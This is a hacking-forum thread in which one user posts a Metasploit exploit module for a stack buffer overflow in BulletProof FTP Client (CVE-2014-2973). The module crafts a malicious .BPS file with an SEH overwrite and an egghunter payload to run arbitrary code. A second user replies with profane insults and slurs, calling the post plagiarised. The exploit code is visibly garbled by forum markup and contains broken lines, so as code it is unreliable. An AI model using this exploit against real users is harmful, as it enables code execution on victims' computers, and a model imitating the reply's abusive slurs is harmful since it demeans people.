

Forum:[Hack Forums](#)

Thread: [BulletProof FTP Client BPS Buffer Overflow](#)

Cyb3r_h4ck3r - February 13, 2015, 7:01 am

Code require 'msf/core'

```
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::[align]:FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'      => 'BulletProof FTP Client BPS Buffer Overflow',
      'Description' => %q{
        This module exploits a stack-based buffer overflow vulnerability in
        BulletProof FTP Client 2010, caused by an overly long hostname.
        By persuading the victim to open a specially-crafted .BPS file, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.[align=justify]

        'License'      => MSF_LICENSE,
        'Author'       =>
          [
            'Cyb3r H4ck3r '
          ],
        'References'   =>
          [
            ['EDB', '34162'],
            ['EDB', '34540'],
            ['EDB', '35449'],
            ['OSVDB', '109547'],
            ['CVE', '2014-2973'],
          ],
        'DefaultOptions' =>
          {
            'ExitFunction' => 'process'
          },
        'Platform'     => 'win',
        'Payload'       =>
          {
            'BadChars' => "\x00\x0a\x0d\x1a",
            'Space'    => 2000
          },
        'Targets'      =>
          [
```

```

[ 'Windows XP SP3',
  {
    'Offset' => 89,
    'Ret'    => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
  }
],
'Privileged'    => false,
'DisclosureDate' => 'Jul 24 2014',
'DefaultTarget' => 0
))

register_options(
[
  OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
],
self.class)
end

def exploit
  eggoptions = {
    :checksum => true,
    :eggtag   => 'w00t'
  }

  hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  sploit[[t = "This is a BulletProof FTP Client Session-File and should not be modtly.\r\n"
  sploit << rand_text_alpha(target['Offset'])
  sploit << generate_seh_record(target.ret)
  sploit << hunter          + "\r\n" # FTP Server HOST / IP
  sploit << rand_text_numeric(5) + "\r\n" # Port number
  sploit << egg              + "\r\n" # Login name
  sploit << rand_text_alpha(8) + "\r\n" # Login password

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")
  file_create(sploit)
end

end

```

Chris ?ansen - February 13, 2015, 8:24 am

First off, this is Ruby code, so if you are going to skid from stuff already in Metasploit, get the language right you fucktard.

Second, as mentioned above, this is already in Metasploit you fucking skid. I don't even know what to say after this. I am fucking baffled at the amount of fucking retardation here.

SOURCES:

[Google Search of the thread title](#)

[What it leads to on Rapid7, a/k/a, Metasploit](#)

[The code from Rapid7's Github repo](#)

